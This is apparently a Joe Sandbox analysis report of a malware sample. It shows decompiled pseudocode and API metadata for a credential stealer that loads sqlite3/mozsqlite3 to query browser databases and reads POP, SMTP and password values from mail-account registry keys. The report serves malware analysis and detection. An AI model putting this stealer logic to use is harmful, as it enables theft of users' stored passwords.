                                                                                                              • Opcode ID: 41fbf1d09f89329d89d85b9c1c83700b09fa1e2b362e37a4bb4b326ca53279f5
                                                                                                              • Instruction ID: f55a197cdd86fa31c53d12907dd8f70643f2484b8232c3448506387801693677
                                                                                                              • Opcode Fuzzy Hash: 41fbf1d09f89329d89d85b9c1c83700b09fa1e2b362e37a4bb4b326ca53279f5
                                                                                                              • Instruction Fuzzy Hash: F2E0B632000109FBCF125F95EC01AAA7F76FF08314F148869FD5855161D332A570EF55
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040EC05 Relevance: 1.5, APIs: 1, Instructions: 18registryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040EC05(void* _a4, int _a8, char* _a12) {
				int _v8;
				struct _FILETIME _v16;
				long _t10;

				_v8 = 0xff;
				_t10 = RegEnumKeyExA(_a4, _a8, _a12,  &_v8, 0, 0, 0,  &_v16); // executed
				return _t10;
			}






                                                                                                              0x0040ec1b
                                                                                                              0x0040ec28
                                                                                                              0x0040ec2f

                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Enum
                                                                                                              • String ID:
                                                                                                              • API String ID: 2928410991-0
                                                                                                              • Opcode ID: a353feabfab0744ebf95826f59e93c384f62a9d404093091d3db5cc110533d65
                                                                                                              • Instruction ID: 106d8345c7c706f621af7be320a41b4af46e9d9c43dbed411a2e6f241e61e84c
                                                                                                              • Opcode Fuzzy Hash: a353feabfab0744ebf95826f59e93c384f62a9d404093091d3db5cc110533d65
                                                                                                              • Instruction Fuzzy Hash: 71D067B550010EBFEF01DFA0DD05DFE7BBDEB04248F008161BE15D2150D7719A25ABA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040EB80 Relevance: 1.5, APIs: 1, Instructions: 16registryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040EB80(int __eax, void* __ecx, void* _a4, char* _a8, char* _a12) {
				int _v8;
				int _v12;
				long _t10;

				_v8 = __eax;
				_t10 = RegQueryValueExA(_a4, _a8, 0,  &_v12, _a12,  &_v8); // executed
				return _t10;
			}






                                                                                                              0x0040eb85
                                                                                                              0x0040eb9b
                                                                                                              0x0040eba2

                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: QueryValue
                                                                                                              • String ID:
                                                                                                              • API String ID: 3660427363-0
                                                                                                              • Opcode ID: c6f506656e2d336a56bdff400888b061bb8992ff0b19f25ef3405ed5d8ba8f58
                                                                                                              • Instruction ID: 405d1fcdc3317694be1b4da2b3da04865fc5018b21bd4e68d0b7a3a58653d2ff
                                                                                                              • Opcode Fuzzy Hash: c6f506656e2d336a56bdff400888b061bb8992ff0b19f25ef3405ed5d8ba8f58
                                                                                                              • Instruction Fuzzy Hash: 80D0677540010DBFDF018F80DD05EDE7BBDEB04248F104165BA0596050E671AA119B94
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004066F6 Relevance: 1.5, APIs: 1, Instructions: 13fileCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E004066F6(void* __ecx, void* _a4, void* _a8, long _a12) {
				long _v8;
				int _t8;

				_v8 = _v8 & 0x00000000;
				_t8 = ReadFile(_a4, _a8, _a12,  &_v8, 0); // executed
				return _t8;
			}





                                                                                                              0x004066fa
                                                                                                              0x0040670d
                                                                                                              0x00406714

                                                                                                              APIs
                                                                                                              • ReadFile.KERNELBASE(00000000,?,00410C15,00000000,00000000), ref: 0040670D
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FileRead
                                                                                                              • String ID:
                                                                                                              • API String ID: 2738559852-0
                                                                                                              • Opcode ID: 1cbe152900fe62ca6010d5864004c529694ab714bb7efe38aa3644499de8bbeb
                                                                                                              • Instruction ID: 6ec0f4deb37137cdc646d018716f2adce12f829ca6dcdca9ff7a4d9740b9daa7
                                                                                                              • Opcode Fuzzy Hash: 1cbe152900fe62ca6010d5864004c529694ab714bb7efe38aa3644499de8bbeb
                                                                                                              • Instruction Fuzzy Hash: 43D0923511020DBBDF018F80DD06BD97BA9EB04359F508054BA0495060C7B59A20AB54
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004047F1 Relevance: 1.5, APIs: 1, Instructions: 11COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E004047F1(void* __eax) {
				struct HINSTANCE__* _t5;
				signed int* _t7;

				 *(__eax + 0x204) =  *(__eax + 0x204) & 0x00000000;
				_t7 = __eax + 0x200;
				_t5 =  *_t7;
				if(_t5 != 0) {
					_t5 = FreeLibrary(_t5); // executed
					 *_t7 =  *_t7 & 0x00000000;
				}
				return _t5;
			}





                                                                                                              0x004047f1
                                                                                                              0x004047f9
                                                                                                              0x004047ff
                                                                                                              0x00404803
                                                                                                              0x00404806
                                                                                                              0x0040480c
                                                                                                              0x0040480c
                                                                                                              0x00404810

                                                                                                              APIs
                                                                                                              • FreeLibrary.KERNELBASE(?,?), ref: 00404806
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FreeLibrary
                                                                                                              • String ID:
                                                                                                              • API String ID: 3664257935-0
                                                                                                              • Opcode ID: 44cb22c5a6e339dc322f31723d6313ec8e4e2f7ef4db3de4f35608b5b7650eec
                                                                                                              • Instruction ID: 9a892a7b4d94419058e15305363ecf1fbcdc16662e35282e5c511663eadef616
                                                                                                              • Opcode Fuzzy Hash: 44cb22c5a6e339dc322f31723d6313ec8e4e2f7ef4db3de4f35608b5b7650eec
                                                                                                              • Instruction Fuzzy Hash: 90D012721003118FD7705F14EC0CBE133E8AF40312F2584B8EA55E7155C3749584CA58
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040B0C2 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 82%
                                                                                                              			E0040B0C2(void* __eax) {
				void* __esi;
				void* _t3;
				intOrPtr _t5;

				_t5 =  *((intOrPtr*)(__eax + 0x370));
				if(_t5 != 0) {
					_t3 = E004041AF(_t5);
					_push(_t5); // executed
					L004115D6(); // executed
					return _t3;
				}
				return __eax;
			}






                                                                                                              0x0040b0c3
                                                                                                              0x0040b0cb
                                                                                                              0x0040b0cd
                                                                                                              0x0040b0d2
                                                                                                              0x0040b0d3
                                                                                                              0x00000000
                                                                                                              0x0040b0d8
                                                                                                              0x0040b0da

                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??3@
                                                                                                              • String ID:
                                                                                                              • API String ID: 613200358-0
                                                                                                              • Opcode ID: 43d3063362b232f4b925c8588cbc1d22854556aa98c0f6e6be06b5d64029b04c
                                                                                                              • Instruction ID: 3eac923098cde540778f198f5cc4b11e8281dec6b212ef19e0e62f3b1f62392a
                                                                                                              • Opcode Fuzzy Hash: 43d3063362b232f4b925c8588cbc1d22854556aa98c0f6e6be06b5d64029b04c
                                                                                                              • Instruction Fuzzy Hash: CFB09B7240A5305AD465371574055DB22486F41714B0A01ABF5053B2D54A5C1D8301ED
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00405ECB Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E00405ECB(CHAR* _a4) {
				void* _t3;

				_t3 = CreateFileA(_a4, 0x80000000, 1, 0, 3, 0, 0); // executed
				return _t3;
			}




                                                                                                              0x00405edd
                                                                                                              0x00405ee3

                                                                                                              APIs
                                                                                                              • CreateFileA.KERNELBASE(00410C96,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00405EDD
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: CreateFile
                                                                                                              • String ID:
                                                                                                              • API String ID: 823142352-0
                                                                                                              • Opcode ID: 3d1fc0512f3752dc18418d5b87acc130e197f397a5b4a811fbf4025d701c196d
                                                                                                              • Instruction ID: afc43ba2b75a28274e8f1ac572393f43525f6feeeae912fe70f84a176abdc389
                                                                                                              • Opcode Fuzzy Hash: 3d1fc0512f3752dc18418d5b87acc130e197f397a5b4a811fbf4025d701c196d
                                                                                                              • Instruction Fuzzy Hash: A4C092B0290201BEFF218A10AD06F76295DE740700F2084247E00E40E0D1A14D20DA24
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00405EE4 Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E00405EE4(CHAR* _a4) {
				void* _t3;

				_t3 = CreateFileA(_a4, 0x40000000, 1, 0, 2, 0, 0); // executed
				return _t3;
			}




                                                                                                              0x00405ef6
                                                                                                              0x00405efc

                                                                                                              APIs
                                                                                                              • CreateFileA.KERNELBASE(?,40000000,00000001,00000000,00000002,00000000,00000000), ref: 00405EF6
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: CreateFile
                                                                                                              • String ID:
                                                                                                              • API String ID: 823142352-0
                                                                                                              • Opcode ID: 5f03ab8047931506169ca7aa38a5df993ced9b6cd9a6d4ef42b8e6b291ce57f8
                                                                                                              • Instruction ID: 5973f86ffe51395cbbea2b6db375788de2bc2c82441068c359f9d196895a4387
                                                                                                              • Opcode Fuzzy Hash: 5f03ab8047931506169ca7aa38a5df993ced9b6cd9a6d4ef42b8e6b291ce57f8
                                                                                                              • Instruction Fuzzy Hash: F7C092B0290201BEFF208A10AD0AF77295DE780700F10C4207A00E40E0D2A14C109A24
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040E894 Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040E894(void* __esi) {
				struct HINSTANCE__* _t6;
				int _t7;

				_t6 =  *(__esi + 8);
				 *(__esi + 0xc) =  *(__esi + 0xc) & 0x00000000;
				if(_t6 != 0) {
					_t7 = FreeLibrary(_t6); // executed
					 *(__esi + 8) =  *(__esi + 8) & 0x00000000;
					return _t7;
				}
				return _t6;
			}





                                                                                                              0x0040e894
                                                                                                              0x0040e897
                                                                                                              0x0040e89d
                                                                                                              0x0040e8a0
                                                                                                              0x0040e8a6
                                                                                                              0x00000000
                                                                                                              0x0040e8a6
                                                                                                              0x0040e8aa

                                                                                                              APIs
                                                                                                              • FreeLibrary.KERNELBASE(?,0040E8C8,?,?,?,?,?,?,0040421D), ref: 0040E8A0
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FreeLibrary
                                                                                                              • String ID:
                                                                                                              • API String ID: 3664257935-0
                                                                                                              • Opcode ID: 4be415d56670eca266e1e771d593f986771612930e6043792484bc2d1f3df44a
                                                                                                              • Instruction ID: 5028da6d49437ecb3f89885db84a6a431b650c8c1a4919c17fb61c23058b4b99
                                                                                                              • Opcode Fuzzy Hash: 4be415d56670eca266e1e771d593f986771612930e6043792484bc2d1f3df44a
                                                                                                              • Instruction Fuzzy Hash: 80C04C31110B018FE7219B12C949753B7E4BF00317F44C868955BD58A4D77CE4A4CE18
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00406F5B Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E00406F5B(signed int* __esi) {
				int _t2;
				void* _t3;

				_t3 =  *__esi;
				if(_t3 != 0xffffffff) {
					_t2 = FindClose(_t3); // executed
					 *__esi =  *__esi | 0xffffffff;
					return _t2;
				}
				return 0;
			}





                                                                                                              0x00406f5b
                                                                                                              0x00406f62
                                                                                                              0x00406f65
                                                                                                              0x00406f6b
                                                                                                              0x00000000
                                                                                                              0x00406f6b
                                                                                                              0x00406f6e

                                                                                                              APIs
                                                                                                              • FindClose.KERNELBASE(?,00406E75,?,?,00000000,rA,00410C7E,*.oeaccount,rA,?,00000104), ref: 00406F65
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: CloseFind
                                                                                                              • String ID:
                                                                                                              • API String ID: 1863332320-0
                                                                                                              • Opcode ID: 29a0a411e84d7c5badd8bde6db7469c3766740cb6e366e0fff699bb7c3a5e544
                                                                                                              • Instruction ID: b31b0b49456476ea20311e3f3804ac2d10f8d6de1d59c17087b16cfdac6e9e38
                                                                                                              • Opcode Fuzzy Hash: 29a0a411e84d7c5badd8bde6db7469c3766740cb6e366e0fff699bb7c3a5e544
                                                                                                              • Instruction Fuzzy Hash: 67C048351145029AD22C9B38AA5942A77A2AA493303B50B6CB1F3D20E0E77884628A04
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040614B Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040614B(CHAR* _a4) {
				long _t4;

				_t4 = GetFileAttributesA(_a4); // executed
				return 0 | _t4 != 0xffffffff;
			}




                                                                                                              0x0040614f
                                                                                                              0x0040615f

                                                                                                              APIs
                                                                                                              • GetFileAttributesA.KERNELBASE(?,004081BE,?,00408274,00000000,?,00000000,00000104,?), ref: 0040614F
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AttributesFile
                                                                                                              • String ID:
                                                                                                              • API String ID: 3188754299-0
                                                                                                              • Opcode ID: e54bea251bae5a778522ddcd773e5ba5f40eb5ac82a352d16be9d7832b5142d7
                                                                                                              • Instruction ID: f3b66c96cd424dd7ad3beae2567feb80d20b4231abd0f1b127a655f441aacc1c
                                                                                                              • Opcode Fuzzy Hash: e54bea251bae5a778522ddcd773e5ba5f40eb5ac82a352d16be9d7832b5142d7
                                                                                                              • Instruction Fuzzy Hash: CAB012752100005BCB0807349D4608E75505F45631720873CB033D00F0D730CC71BB01
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040EB3F Relevance: 1.5, APIs: 1, Instructions: 7registryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040EB3F(void* _a4, char* _a8, void** _a12) {
				long _t4;

				_t4 = RegOpenKeyExA(_a4, _a8, 0, 0x20019, _a12); // executed
				return _t4;
			}




                                                                                                              0x0040eb52
                                                                                                              0x0040eb58

                                                                                                              APIs
                                                                                                              • RegOpenKeyExA.KERNEL32(80000002,80000002,00000000,00020019,80000002), ref: 0040EB52
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Open
                                                                                                              • String ID:
                                                                                                              • API String ID: 71445658-0
                                                                                                              • Opcode ID: b46f2f1118fe08c26f7697601471cbdaa0b1b95653fa9af9082cd2e3fcf7fc30
                                                                                                              • Instruction ID: fbac0a3e3d82dbf35b582ab386aad6bc4faf60f338d600bbfef3ad5534bed626
                                                                                                              • Opcode Fuzzy Hash: b46f2f1118fe08c26f7697601471cbdaa0b1b95653fa9af9082cd2e3fcf7fc30
                                                                                                              • Instruction Fuzzy Hash: 60C09B35544301BFDE118F40EE05F09BF62BB88B01F104814B394740B1C3718424FB17
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Non-executed Functions

                                                                                                              Function 0040F64B Relevance: 56.1, APIs: 20, Strings: 12, Instructions: 127libraryloaderstringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040F64B(intOrPtr* __esi, char* _a4) {
				void _v283;
				char _v284;
				void _v547;
				char _v548;
				struct HINSTANCE__* _t45;
				struct HINSTANCE__* _t46;
				struct HINSTANCE__* _t57;
				struct HINSTANCE__* _t68;
				CHAR* _t79;
				intOrPtr* _t81;

				_t81 = __esi;
				if( *((intOrPtr*)(__esi + 0x24)) != 0) {
					L14:
					return 1;
				}
				_v284 = 0;
				memset( &_v283, 0, 0x117);
				if(_a4 == 0) {
					E0040F435( &_v284);
				} else {
					strcpy( &_v284, _a4);
				}
				if(_v284 == 0) {
					_t79 = "sqlite3.dll";
					_t45 = GetModuleHandleA(_t79);
					 *(_t81 + 0x24) = _t45;
					if(_t45 != 0) {
						goto L12;
					}
					_t57 = LoadLibraryA(_t79);
					goto L11;
				} else {
					_v548 = 0;
					memset( &_v547, 0, 0x104);
					strcpy( &_v548,  &_v284);
					strcat( &_v284, "\\sqlite3.dll");
					if(E0040614B( &_v284) == 0) {
						strcpy( &_v284,  &_v548);
						strcat( &_v284, "\\mozsqlite3.dll");
					}
					_t68 = GetModuleHandleA( &_v284);
					 *(_t81 + 0x24) = _t68;
					if(_t68 != 0) {
						L12:
						_t46 =  *(_t81 + 0x24);
						if(_t46 == 0) {
							return 0;
						}
						 *_t81 = GetProcAddress(_t46, "sqlite3_open");
						 *((intOrPtr*)(_t81 + 4)) = GetProcAddress( *(_t81 + 0x24), "sqlite3_prepare");
						 *((intOrPtr*)(_t81 + 8)) = GetProcAddress( *(_t81 + 0x24), "sqlite3_step");
						 *((intOrPtr*)(_t81 + 0xc)) = GetProcAddress( *(_t81 + 0x24), "sqlite3_column_text");
						 *((intOrPtr*)(_t81 + 0x10)) = GetProcAddress( *(_t81 + 0x24), "sqlite3_column_int");
						 *((intOrPtr*)(_t81 + 0x14)) = GetProcAddress( *(_t81 + 0x24), "sqlite3_column_int64");
						 *((intOrPtr*)(_t81 + 0x18)) = GetProcAddress( *(_t81 + 0x24), "sqlite3_finalize");
						 *((intOrPtr*)(_t81 + 0x1c)) = GetProcAddress( *(_t81 + 0x24), "sqlite3_close");
						 *((intOrPtr*)(_t81 + 0x20)) = GetProcAddress( *(_t81 + 0x24), "sqlite3_exec");
						goto L14;
					} else {
						_t57 = LoadLibraryExA( &_v284, 0, 8);
						L11:
						 *(_t81 + 0x24) = _t57;
						goto L12;
					}
				}
			}













                                                                                                              0x0040f64b
                                                                                                              0x0040f65b
                                                                                                              0x0040f7e1
                                                                                                              0x00000000
                                                                                                              0x0040f7e3
                                                                                                              0x0040f66e
                                                                                                              0x0040f674
                                                                                                              0x0040f685
                                                                                                              0x0040f694
                                                                                                              0x0040f687
                                                                                                              0x0040f68b
                                                                                                              0x0040f691
                                                                                                              0x0040f69f
                                                                                                              0x0040f741
                                                                                                              0x0040f747
                                                                                                              0x0040f74f
                                                                                                              0x0040f752
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040f755
                                                                                                              0x00000000
                                                                                                              0x0040f6a5
                                                                                                              0x0040f6b2
                                                                                                              0x0040f6b8
                                                                                                              0x0040f6cb
                                                                                                              0x0040f6dc
                                                                                                              0x0040f6f2
                                                                                                              0x0040f702
                                                                                                              0x0040f713
                                                                                                              0x0040f718
                                                                                                              0x0040f722
                                                                                                              0x0040f72a
                                                                                                              0x0040f72d
                                                                                                              0x0040f75e
                                                                                                              0x0040f75e
                                                                                                              0x0040f763
                                                                                                              0x00000000
                                                                                                              0x0040f7ea
                                                                                                              0x0040f77f
                                                                                                              0x0040f78b
                                                                                                              0x0040f798
                                                                                                              0x0040f7a5
                                                                                                              0x0040f7b2
                                                                                                              0x0040f7bf
                                                                                                              0x0040f7cc
                                                                                                              0x0040f7d9
                                                                                                              0x0040f7de
                                                                                                              0x00000000
                                                                                                              0x0040f72f
                                                                                                              0x0040f739
                                                                                                              0x0040f75b
                                                                                                              0x0040f75b
                                                                                                              0x00000000
                                                                                                              0x0040f75b
                                                                                                              0x0040f72d

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040F674
                                                                                                              • strcpy.MSVCRT(?,?,?,?,00000000), ref: 0040F68B
                                                                                                              • memset.MSVCRT ref: 0040F6B8
                                                                                                              • strcpy.MSVCRT(?,?,?,00000000,00000104,?,?,00000000), ref: 0040F6CB
                                                                                                              • strcat.MSVCRT(?,\sqlite3.dll,?,?,?,00000000,00000104,?,?,00000000), ref: 0040F6DC
                                                                                                              • strcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040F702
                                                                                                              • strcat.MSVCRT(?,\mozsqlite3.dll,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040F713
                                                                                                              • GetModuleHandleA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040F722
                                                                                                              • LoadLibraryExA.KERNEL32(?,00000000,00000008,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040F739
                                                                                                              • GetModuleHandleA.KERNEL32(sqlite3.dll,?,?,00000000), ref: 0040F747
                                                                                                              • LoadLibraryA.KERNEL32(sqlite3.dll), ref: 0040F755
                                                                                                              • GetProcAddress.KERNEL32(?,sqlite3_open,?,?,00000000), ref: 0040F775
                                                                                                              • GetProcAddress.KERNEL32(?,sqlite3_prepare,?,?,00000000), ref: 0040F781
                                                                                                              • GetProcAddress.KERNEL32(?,sqlite3_step,?,?,00000000), ref: 0040F78E
                                                                                                              • GetProcAddress.KERNEL32(?,sqlite3_column_text,?,?,00000000), ref: 0040F79B
                                                                                                              • GetProcAddress.KERNEL32(?,sqlite3_column_int,?,?,00000000), ref: 0040F7A8
                                                                                                              • GetProcAddress.KERNEL32(?,sqlite3_column_int64,?,?,00000000), ref: 0040F7B5
                                                                                                              • GetProcAddress.KERNEL32(?,sqlite3_finalize,?,?,00000000), ref: 0040F7C2
                                                                                                              • GetProcAddress.KERNEL32(?,sqlite3_close,?,?,00000000), ref: 0040F7CF
                                                                                                              • GetProcAddress.KERNEL32(?,sqlite3_exec,?,?,00000000), ref: 0040F7DC
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AddressProc$strcpy$HandleLibraryLoadModulememsetstrcat
                                                                                                              • String ID: \mozsqlite3.dll$\sqlite3.dll$sqlite3.dll$sqlite3_close$sqlite3_column_int$sqlite3_column_int64$sqlite3_column_text$sqlite3_exec$sqlite3_finalize$sqlite3_open$sqlite3_prepare$sqlite3_step
                                                                                                              • API String ID: 3567885941-2042458128
                                                                                                              • Opcode ID: bd0ce2e375925359ec1219c205f3dbe1c8e580fb1eb91f69f3ac3bcbec633a35
                                                                                                              • Instruction ID: 8fd3bcd04759d815ffa5d5b817f34976dc276f641444eb2ebd63b60ef60fef8a
                                                                                                              • Opcode Fuzzy Hash: bd0ce2e375925359ec1219c205f3dbe1c8e580fb1eb91f69f3ac3bcbec633a35
                                                                                                              • Instruction Fuzzy Hash: C9416571940308AACB30AF718D85DCBBBF9AB58705F10497BE246E3550E778E685CF58
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00402D9A Relevance: 29.9, APIs: 5, Strings: 12, Instructions: 153stringregistryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 87%
                                                                                                              			E00402D9A(void* __ecx, void* __edi, void* __esi, void* __fp0, signed int _a4, void* _a8) {
				signed int _v8;
				char _v20;
				char _v24;
				char _v152;
				char _v280;
				char _v408;
				intOrPtr _v412;
				char _v668;
				char _v796;
				intOrPtr _v800;
				char _v928;
				char _v940;
				char _v952;
				char _v956;
				char _v1084;
				char _v1212;
				char _v1340;
				intOrPtr _v1344;
				char _v1600;
				char _v1728;
				intOrPtr _v1732;
				char _v1860;
				char _v1872;
				void* _t59;
				signed int _t60;
				intOrPtr _t63;
				void* _t113;
				void* _t118;
				void* _t122;
				char* _t123;
				void* _t141;

				_t141 = __fp0;
				_t118 = __edi;
				_t113 = __ecx;
				_t59 = E0040EB3F(_a4, _a8,  &_a8);
				if(_t59 == 0) {
					_t60 = 0x7d;
					_a4 = _t60;
					_v8 = _t60;
					E004021D8( &_v1872);
					E004021D8( &_v940);
					_t63 = 2;
					_v1732 = _t63;
					_v800 = _t63;
					_push( &_v928);
					_push("DisplayName");
					_push(_a8);
					_v1344 = 4;
					_t122 = 0x7f;
					_v412 = 1;
					E0040EB80(_t122, _t113);
					E0040EB80(_t122, _t113, _a8, "EmailAddress",  &_v796);
					E0040EB80(_t122, _t113, _a8, "PopAccount",  &_v408);
					E0040EB80(_t122, _t113, _a8, "PopServer",  &_v668);
					E0040EB59(_t113, _a8, "PopPort",  &_v24);
					E0040EB59(_t113, _a8, "PopLogSecure",  &_v20);
					if(E0040EBA3(_t113, _a8, "PopPassword",  &_v280,  &_a4) != 0) {
						_a4 = _a4 & 0x00000000;
					}
					strcpy( &_v1860,  &_v928);
					strcpy( &_v1728,  &_v796);
					E0040EB80(_t122, _t113, _a8, "SMTPAccount",  &_v1340);
					E0040EB80(_t122, _t113, _a8, "SMTPServer",  &_v1600);
